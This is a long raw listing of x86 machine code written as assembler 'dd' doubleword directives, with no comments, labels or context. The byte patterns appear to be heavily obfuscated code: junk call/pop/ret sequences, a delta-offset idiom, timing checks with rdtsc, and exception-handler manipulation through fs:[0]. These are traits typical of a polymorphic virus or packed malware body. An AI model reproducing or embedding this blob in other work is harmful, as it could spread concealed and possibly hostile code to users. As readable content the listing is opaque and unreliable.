8B3D9B36h, 1B1259BDh dd 0C606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0BFC35343h, 31ED8C8Bh, 0C73E4A28h, 1B2BD585h, 6 dd 0F2CEE900h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 3A4B95C3h, 8E0FD555h, 0 dd 9D03C18Bh, 61B2B71h, 32ED858Dh, 0BB66061Bh, 8950A9F7h dd 0FCB72404h, 9D89006Ah, 61B30D5h, 0F3C37DBFh, 6A006A56h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 99CC353h, 4791549h, 18BFC8ACh, 8D73A326h dd 1F8E7785h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 54CEF342h, 3820F18h, 0F000000h, 9589DFB7h dd 61B0C3Dh, 6005C083h, 0CFB70F60h, 175DB58Bh, 6161061Bh dd 11BD9D8Bh, 8950061Bh, 95892404h, 61B31C9h, 8166006Ah dd 8BE4FDE3h, 1B08B99Dh, 0E9006A06h, 8, 1A3B97D9h, 32E06A11h dd 1A0195FFh, 9D8B061Bh, 61B2DBDh, 92B78D8Dh, 6A061Eh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 1DF14EC3h, 0F4FCCB4h, 38Bh, 82DB8000h, 6AD1FFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 88D87BC3h, 0ECE0E4DEh, 8B8A098Fh, 0D5BD83D9h, 1061B1Ch dd 56850Fh, 81660000h, 6A3FF4CBh, 11E902h, 53840000h, 0A573854Eh dd 9FBE3693h, 0CF081855h, 506FEDEAh, 0E9240489h, 9, 0E48766BCh dd 37CB913Bh, 2D95FFF0h, 0E8061B14h, 0Ch, 0ED7B7841h, 937F6036h dd 784DE870h, 3830Fh, 0F3800000h, 9D895F91h, 61B12C1h dd 0D0AE9h, 0E800h, 815D0000h, 1F8E81EDh, 63C38006h, 853D858Dh dd 0E381061Eh, 6CFE344h, 52505650h, 800F310Fh, 0 dd 895B585Ah, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0E99154C3h, 13h, 4D77EFD7h, 0ADE6A43Dh dd 2A4BA5DBh, 6CA8614Bh, 641C42C5h, 35FFh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8029EEC3h, 9D8B82D3h, 61B3105h, 258964h, 0E9000000h dd 7, 0D7B731C2h, 0FF8A4EBEh, 1B2B0D85h, 0FA8B6606h, 6AFF6Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0D79705C3h, 85B9CC1Eh, 0FF3BAEA4h, 1B005DB5h, 3890F06h dd 66000000h, 95FFD88Bh, 61B0805h, 126E9h, 0DE800h, 2DF70000h dd 0E80C6270h, 0A26DC649h, 60E73E0Fh, 21C18589h, 0CB3061Bh dd 0B05B61h, 66D8D89h, 70E6061Bh, 9E0903BFh, 5671E418h dd 613C5FF8h, 0ED830Fh, 0F98B0000h, 89C8B60Fh, 1B306585h dd 6BA06h, 9D8B0000h, 61B1675h, 0C890Fh, 800F0000h, 6 dd 6F98589h, 0C18B061Bh, 2DA99D23h, 0E8C1061Bh, 0E3816604h dd 0F7668F3Ah, 36060E2h, 1B1BF585h, 0A99D8B06h, 61061B09h dd 242DBD8Bh, 2B61061Bh, 88C381C8h, 8B14C229h, 0F38166D1h dd 0BE9CB0Ah, 0BB000000h, 592B9385h, 0A0CDCB81h, 858B17D7h dd 61B10C1h, 7299501h, 0C083061Bh, 83DDB307h, 0BD2300C0h dd 61B0D1Dh, 830FD03Bh, 0Eh, 23D98D09h, 50E9061Bh, 0F000000h dd 8D8BDEBFh, 61B1745h, 10E9h, 339F500h, 0C1F36F2h, 0BE2A9497h dd 75848EABh, 1E183EBh, 29840Fh, 0EE90000h, 0BC000000h dd 833D92C5h, 5DE0FB87h, 85689186h, 45A583EDh, 0FE061B17h dd 9589D88Ah, 61B10C1h, 0E9FA8Bh, 8D000000h, 1F0A02B5h dd 0D3815106h, 42B3D2FAh, 599D895Bh, 6A061B1Dh, 95FFF800h dd 61B2205h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 90C35646h, 8B54DBF6h, 1B28E1BDh, 85FB906h, 81660000h dd 83B84DEFh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 75D714C3h, 8C4DB4DCh, 0F5FCD98Bh dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0E850BFC3h, 8B66AB2Dh, 0BAD9h, 33AD0000h dd 3E8D1C2h, 4E983D0h, 0A1B3F475h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 5C35343h, 6B584D48h, 8D0F25ABh dd 3, 0DE0D780h, 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 22C35747h, 0BF225239h, 958B245Ah, 61B2429h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 57C35343h dd 6117D679h, 5E92DBCh, 14000000h, 0C8CB3443h, 21DD9D8Bh dd 8D8B061Bh, 61B0765h, 31EDB589h, 8B50061Bh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 12C35242h, 0DFE6B63Ah, 52006AA2h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 1901D176h, 0F14D03A2h, 65BD8B42h, 83061B02h, 1B1769BDh dd 840F0006h, 97h, 155BD8Bh, 0B8061Bh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 57BAC352h, 3C121FDh, 61685D3Ah, 8D8DFDB3h, 61B4CD3h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 10C35040h dd 6AE1FFE3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0FDB4C350h, 8D0F6030h, 6, 18A59589h dd 0FE9061Bh, 0BE000000h, 4E9AE16Bh, 638A266Eh, 0AB359F5Eh dd 83612DBFh, 1B13D1BDh, 840F0006h, 312h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 0ABC35141h, 6F6351EAh dd 1189BD8Bh, 0BD83061Bh, 61B13D1h, 0FA840F01h, 6A000002h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8388C352h, 1B13D1BDh, 860F0306h, 29Bh, 6071EB80h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D9C35343h dd 7CA81148h, 8B603BC2h, 0DDBD89D0h, 61061B30h, 6AD98C66h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 541FC352h, 8047497Bh, 0DE8B04E1h, 840FC90Ah dd 0B4h, 2F319D8Bh, 858B061Bh, 61B0145h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 17h, 0E7C35040h, 8928929Eh dd 1B2271BDh, 31853306h, 50061B2Ah, 0B7EDBF66h, 0F240489h dd 6AFBBFh, 17D78166h, 0BFCF68C6h, 0DE851A5h, 43000000h dd 98C174B8h, 92FA3006h, 0A338CA8Ch, 8B0F53h, 5B000000h dd 2434815Fh, 51BABC30h, 0C78166F5h, 95FF22C7h, 61B3235h dd 117D9D8Bh, 8589061Bh, 61EAD99h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 30C35141h, 8CD3233Ch, 1FDB509h dd 0E9F9061Bh, 128h, 0AD91858Bh, 8B66061Eh, 1800C7DEh dd 8B000000h, 1B19D1BDh, 95B58B06h, 0E9061EADh, 9, 6D1CCE2Bh dd 0A5E459D0h, 29858BFEh, 1061B12h, 1B00E59Dh, 6A068906h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0E19EC351h, 0D518B8D7h, 8BBD797Ch, 1B19C1BDh dd 0BE906h, 97C80000h, 6FA6EF20h, 5AC6DC9Fh, 45858BD5h dd 0B3061B01h, 0EB81666Ah, 46894EB3h, 9D895204h, 61B13F1h dd 0E99D8B5Bh, 50061B25h, 6A243489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D24CC353h dd 7D62B365h, 0B5FF26CCh, 61EAD91h, 7528DB68h, 810DB7C5h dd 0DB242404h, 0DE8B3AA9h, 0AD99858Dh, 6A061Eh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD8B22C3h, 61B21B1h, 5090FB8Bh, 6A90F88Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 4C20C350h, 0BED4F249h, 0FF0CB3ADh, 1B323595h, 0F8B70F06h dd 11E961h, 584E0000h, 297CA5B2h, 7D92055Eh, 4EE7E3Ch dd 0C74FE41Bh, 1B13D185h, 306h, 14E900h, 70B80000h, 8D329E87h dd 7D5C16E2h, 3B1A0516h, 0F35E6F3Fh, 0BD830E8Ah, 61EAD99h dd 18840F00h, 29000000h, 1B1A99BDh, 28E906h, 5E80000h dd 9D000000h, 0F9F152AEh, 505FFA8Ah, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 60F53EC3h dd 0FB63F4B8h, 0DBD0971h, 61061B19h, 0F8B0Fh, 0AE90000h dd 6A000000h, 95F859ECh, 5FFC12B3h, 0D1BD832Ah, 3061B13h dd 4F2850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 17049AC3h, 0C9BD896Fh, 83061B0Dh dd 1EAD99BDh, 840F0006h dd 4C0h, 2E599529h, 0B5FF061Bh, 61EAD99h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 76C35545h, 14F0AD0Dh dd 758E8A73h, 0F820Fh, 7E80000h, 0D7000000h, 770C7F73h dd 6160B660h, 1195FF5Bh, 6A061B01h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DB9EC353h dd 0D98F3C3Ch, 8DB58B7Bh, 8B061EADh, 1B02019Dh, 106C706h dd 0BF000100h, 5FE99B13h, 0AE850h, 0C3580000h, 0CF70F089h dd 5B9550E2h, 2434895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0FBC35343h, 617B6CF6h, 8B6656B8h, 0B5FF5BDFh dd 61EAD99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0ACC35747h, 739CB39Fh, 0F574BC12h, 0FFB70F2Ch dd 0D9B531h, 0BD8B061Bh, 61B0D05h, 1BC995FFh, 6A061Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8147C6C3h, 9DE371DFh, 14E930h, 28CE0000h, 0B94DBB41h dd 0C9122A4h, 9F163741h, 0A231677Dh, 0B58B156Bh, 61EAD8Dh dd 50DA8B66h, 44EF8166h, 858B5FF5h, 61B0D25h, 89F98B66h dd 0C486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0BA75CD5Ch, 2F4D290Dh, 6800FA7h dd 8B000000h, 1B1D299Dh, 21BD8B06h, 8B061B21h, 1B242995h dd 0ADBD0906h, 83061B22h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0D6A7A4C3h, 0CC01DA05h dd 5089418Ah, 50006A20h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0FF862CCh, 687h, 15952900h, 8D061B21h dd 1EC0C785h, 68F0F06h, 3000000h, 1B22B5BDh, 0DE906h, 46870000h dd 2CDC8D5Ch, 0C83AA411h, 892B9CCBh, 0B886h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 6A5823h, 0DD9D0960h, 89061B1Eh, 1B179D85h, 0B5FF6106h dd 61EAD99h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0BEC35242h, 24E59D8Bh, 0BD2B061Bh, 61B0A45h, 142D95FFh dd 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0EBA920C3h, 0AFD4E958h, 0F59B8DB5h, 8DDBD8Bh dd 0B396061Bh, 525050D8h, 817DBB66h, 10B7310Fh, 6A96585Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0FF77C353h, 1EAD99B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 84AE97D6h dd 875BD615h, 0BD893943h, 61B2EB9h, 0CFA4EF81h, 95FF61D9h dd 61B1B91h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0A8C35747h, 1492D253h, 29AB0F55h, 0C81BD83h, 0F00061Bh dd 6B84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 14E8AFh, 0BD90000h, 0D69345C1h, 18418779h dd 0AF71F254h, 31A09748h, 8B53EC85h, 1B2F31BDh, 505F5B06h dd 12E9h, 0C240E800h, 0A031D557h, 24ECE74Bh, 4AAA9B84h dd 892F2338h, 0DE92434h, 0E1000000h, 3AC915D9h, 0B6C89F3Bh dd 5E2F8E64h, 0AD99B5FFh, 0CB80061Eh, 0D595FFD6h, 6A061B0Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0FFCDC357h, 1EAD99B5h, 0F98D0106h, 0FF061B2Fh dd 1B1A0995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 189F2BCh, 0F7F0661h, 88Dh, 860F5000h dd 0 dd 48C0F5Bh, 66000000h, 8372D0BBh, 1B07A5BDh, 840F0206h dd 65h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h dd 32C35242h, 0AFCF81CAh, 8B0DBB9Dh, 1B303185h, 0C3815206h dd 3041692Bh, 13E95Fh, 0B73D0000h, 6186ADF3h, 59D99D5Dh dd 24AEF763h, 22FFD2EEh, 0C6AAh, 0CF5BD89h, 0EE9061Bh dd 8C000000h, 2EFFEEBBh, 633A612Dh, 371244CEh, 0D585C731h dd 61B2Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 9C54C356h, 0DBBF0F42h, 0FFF3BBE9h dd 0BE9FFh, 6AFD0000h, 0DE29FCE4h, 0B20E8F5Bh, 60C18B4Bh dd 0BB663BB5h, 8D61D21Ch, 1B32ED85h, 8D9D8B06h, 66061B01h dd 7391CF81h, 7543BF50h, 4890047h, 919D8B24h, 0F061B10h dd 6ADBBFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 85C35646h, 10B2252Ah, 6E87Ah, 5EEC0000h, 0B413B912h dd 38B0Fh, 8B660000h, 6A5BDFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 33C35343h, 58D444B8h, 0B7558F08h dd 0CE858DA2h, 6A061F9Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 14C5C357h, 96C448B6h dd 291931CCh, 1B025195h, 5C08306h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 9EC35646h, 6781F523h, 0BD03B945h dd 61B1F55h, 6E950h, 0D000000h, 57922707h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0B012C357h, 7E9A7D8h, 9B000000h, 953B28D8h, 0BB669094h dd 6AF99234h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 89EEEA06h, 1B0E0985h, 0EA9ABF06h dd 6A6B4Eh, 8E9h, 0CA39EA00h, 863837A3h, 195FF06h, 8B061B1Ah dd 1B0E15BDh, 0B78D8D06h, 6A061E92h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0EA0EC351h dd 0E913FCA6h, 0FFFC6F4Dh, 9BE381D1h, 834EC402h, 1B1CD5BDh dd 850F0106h, 0A7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 20C35141h, 0BD8B6576h, 61B0945h, 6A026Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 5A1C0DC3h, 0BE863h, 64870000h, 0C927A49h, 0CECC0538h dd 50905B3Fh, 6A90FA8Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0C9C4C352h, 491EA6Bh dd 95FFFB84h, 61B142Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 82C35646h, 0AE520D2Dh, 0E9A38119h, 0D34h dd 0E8h, 0ED815D00h, 61F9DD8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 7C35141h, 5870Fh, 0B1BB0000h dd 0FC26D9DDh, 9518589h, 858D061Bh, 61E853Dh, 8B5690F8h dd 0B3505FDEh, 9D2B906Fh, 61B2E59h, 35FF64h, 29000000h dd 1B1CC985h, 25896406h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 7EC35747h dd 27D1C4D9h, 1E32498Ch, 0DDBD8BA1h, 0FF061B30h, 1B2B0D85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 859C0DFFh, 964DC6A9h, 0FF6A7E1Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0EBC35343h, 9C9F2F35h dd 0DCDB5FFh, 9D03061Bh, 61B21B5h, 80595FFh, 17E9061Bh dd 0E9000001h, 0Ch, 6ED1ADD4h, 2840CE07h, 5E7E2CF3h, 1198589h dd 0B0061Bh, 9D8B70E6h, 61B2225h, 0FA8B71E4h, 830F613Ch dd 0EAh, 1A49BD8Bh, 0B60F061Bh, 0B9C381C8h, 0BA649235h dd 6, 6870Fh, 9D8B0000h, 61B17F5h, 13019D8Bh, 0C18B061Bh dd 0B49BD8Bh, 0E8C1061Bh, 9E904h, 0D19E0000h, 38437879h dd 662B3882h, 5260E2F7h, 58D6B70Fh, 0DE9h, 30015600h, 6B78D1AFh dd 0BB66A88Bh, 2B61A428h, 8BF98BC8h, 0FBBF0FD1h, 0BE9h dd 0D59D8900h, 66061B23h, 0E387CF81h, 2921858Bh, 9D8B061Bh dd 61B21BDh, 6607C083h, 0EB8DE781h, 1A499589h, 0C083061Bh dd 8E900h, 0D9EA0000h, 0DE43F608h, 0D03BB68Dh, 0E830Fh dd 9D2B0000h, 61B2FE9h, 39E9h, 67F38000h, 2D1D8D8Bh, 0BF66061Bh dd 0BD8B3543h, 61B0319h, 0F01E183h, 1D84h, 0D98B6600h dd 2D1DA583h, 89FE061Bh, 1B292195h, 8B5B5606h, 1B035DBDh dd 0E906h, 0B58D0000h, 61F146Ah, 0C858D01h, 6A061Bh, 95FFF98Bh dd 61B2205h, 7F9B9F8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0B81E6BC3h, 28A9EF89h dd 0FCE18392h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 2AC35646h, 89FC1E3Ah, 1B118985h, 0B806h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0BB665FC3h, 9509EBE7h, 61B1CF9h, 6AD22Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 272A4FC3h dd 10192F5Fh, 0BF66201Bh, 33AD99E9h, 3E8D1C2h, 4E983D0h dd 0BD8BF475h, 61B2B49h, 0FE8h, 0C669EC00h, 44AFFD0Dh dd 0AF0B4F2Dh, 7384BCC2h, 2E51BD8Bh, 0D5F061Bh, 88h, 0BCF8166h dd 29958BA0h, 8B061B24h, 1B07658Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 1803FFF9h dd 0E0C98060h, 2A5BD8Bh, 8961061Bh, 1B03CDB5h, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 1B18A59Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 767AB50Ah, 27DD303Fh, 0DA0EBF66h, 0D8EBC381h dd 0BD83330Dh, 61B1769h, 83840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 16DEC350h, 81F61F60h, 0E5DCB5EBh, 0B865h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 4D9AA6C3h, 8D8DE022h, 61B4CD3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0D7C35545h, 56E381BCh, 6658E943h dd 0CA72DF81h, 3152E1FFh, 1B1D4D9Dh, 0BD835B06h, 61B13D1h dd 57840F00h, 6A000004h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 3D6AC350h, 0F765DE6Bh dd 298D8910h, 81061B00h, 0EB4F50D7h, 0D1BD8377h, 1061B13h dd 437840Fh, 6E90000h, 0E5000000h, 4462B871h, 0D1BD83B6h dd 3061B13h, 3E9860Fh, 8E0F0000h, 0Dh, 0D8816660h, 0B5896894h dd 61B0D09h, 8D896061h, 61B2DF9h, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0FC7AC356h, 0E904E180h, 5, 0DC28A355h, 0FC90AF9h, 12684h dd 0D98D8900h, 66061B18h, 858BF98Bh, 61B0145h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0CAC35545h, 0ED502A6Eh dd 9D8B776Dh, 61B0D45h, 2A318533h, 6A061Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 3F0F2C3h dd 0E99D8B9Bh, 50061B1Bh, 78D0Fh, 0BF530000h, 3BF0F1DBh dd 2404895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 1AC35343h, 6AEB42h, 9AA1E381h, 26683A3Ch, 0E9E2027Bh dd 7, 3382A06h, 819597E3h, 88D92404h, 6A1E1Ch, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0B3BB5FC3h, 0DE146D78h, 66C215D8h, 95FFF98Bh, 61B3235h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 77C35242h dd 0C96C8C5Ch, 7B04CE23h, 3119BD8Bh, 8D09061Bh, 61B0845h dd 0AD998589h, 0BD8B061Eh, 61B140Dh, 1F3E9h, 5D9D8B00h dd 8B061B0Bh, 1EAD9185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0B029467Ah, 4525CFC9h dd 8D292E7Fh, 61B25D5h, 1800C7h, 0B58B0000h, 61EAD95h dd 89D8B70Fh, 1B21419Dh, 29858B06h, 6A061B12h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0ECCDC353h, 1BF19D09h, 689061Bh, 145858Bh, 9D29061Bh dd 61B1699h, 6A044689h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0B77DC356h, 6A0AB4B3h dd 8B5776CBh, 1B179DBDh, 0BF0F5F06h, 12E850FEh, 93000000h dd 72B7E69Eh, 0D14C2873h, 0F0020E9Fh, 70E52673h, 13E82Ah dd 0FA0F0000h, 494DCBD7h, 55203DB1h, 8277EE03h, 73924BCDh dd 60BF66C8h, 895B5BDEh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 5558F7C3h, 32C604EBh dd 25BD0145h, 81061B22h, 4129E4D7h, 91B5FF13h, 6A061EADh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 70FFC352h, 4E8FC24h, 0FF000000h, 50001F03h dd 424448Bh, 8BDE8B66h, 0BE3BB00h, 4489714Eh, 0FE8B0424h dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0AA3D23E6h, 66F3D89Ch, 9753CF81h, 18C59589h dd 858D061Bh, 61EAD99h, 0E850DE8Bh, 5, 0FF2C82E4h, 4895F9Ch dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0C29A6D4Eh, 159763B9h, 0EE9FF07h, 27000000h dd 6416BA94h, 42912EEh, 92C34B5Ch, 9E9DBh, 9B750000h, 5967D545h dd 0FF7A2DB1h, 1B323595h, 0A1C78006h, 50006A61h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E949FB9Eh, 0Dh, 5A81FE9Bh, 795C72D6h, 0FF3876DDh, 0D185C708h dd 3061B13h, 0F000000h, 58Ch, 0A9B5BB00h, 0BD831E6Fh, 61EAD99h dd 34840F00h, 9000000h, 1B18A585h, 44E906h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 57545BC3h, 3EB178E7h, 99D0191h, 50061B24h, 110C30h dd 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 4051C9C3h, 6252BF66h dd 83FA8B66h, 1B13D1BDh, 850F0306h, 41Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0ECC35646h, 661D31A8h dd 0A164F781h, 0DE9h, 99015100h, 259D519Ch, 26D266Bh, 0BD899A4Dh dd 61B0E99h, 0AD99BD83h, 0F00061Eh, 3D384h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 416102F9h, 0E94BB4B2h, 9, 70BFD858h, 0D96F9064h, 99B5FF1Bh dd 0E9061EADh, 0Ah, 77FE1935h, 2C819812h, 95FFB104h, 61B0111h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 20C35040h dd 1FCD2E5Fh, 9D52C21Dh, 0F8B70FA8h, 17918D31h, 0B58B061Bh dd 61EAD8Dh, 2AC98D89h, 6C7061Bh, 10001h, 96F8B70Fh, 0B0E66ABBh dd 8B60500Ch, 15850FD3h, 0E8000000h, 0Fh, 6EED83C3h, 7F6B9C0Bh dd 891F19F4h, 5F2A4934h, 9D899661h, 61B08FDh, 0AD99B5FFh dd 0D780061Eh, 0C995FFE1h, 6A061B1Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 3657C353h dd 12136F6Ah, 9851711Ch, 0F5BD8B60h, 81061B31h, 0A1E0FFC8h dd 0B58B6120h, 61EAD8Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0E8C35646h, 0A0D823D3h, 816625A8h, 8B368FC3h dd 1B0D2585h, 10E906h, 78750000h, 0ED65AC4Fh, 7BB4A270h dd 2D0B45E9h, 86898E3Ch, 0C4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0FDC35343h, 853189DAh, 61B0995h dd 2429958Bh, 9D89061Bh, 61B3281h, 83DEDB80h, 6A04C2h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 49CC4EC3h, 910A2572h, 89205089h, 1B253D8Dh, 0C7858D06h dd 6A061EC0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 4003C356h, 0BD295B17h, 61B1305h dd 0B88689h, 6AF90000h, 0D9BF6600h, 99B5FFCBh, 0E9061EADh dd 14h, 972FFD8Dh, 6BC56701h, 6F160786h, 0EBB7A50Fh, 1D0FD75Eh dd 142D95FFh, 13E9061Bh, 1C000000h, 0E459D06Dh, 0A16BFEA5h dd 0B337D431h, 8B697B34h, 66502786h, 898C46BBh, 6A2434h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0D7245DC3h, 8D891BC5h, 61B1675h, 0CE9h, 0C7C3EE00h dd 2631C300h, 0F9E9775Bh, 3BBB66D1h, 99B5FFE3h, 6A061EADh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 6A7CC353h, 0FFADA52Dh, 1B1B9195h, 81BD8306h dd 61B0Ch, 0D840Fh, 0BD8B0000h, 61B078Dh, 24348950h, 0FFF9B70Fh dd 1EAD99B5h, 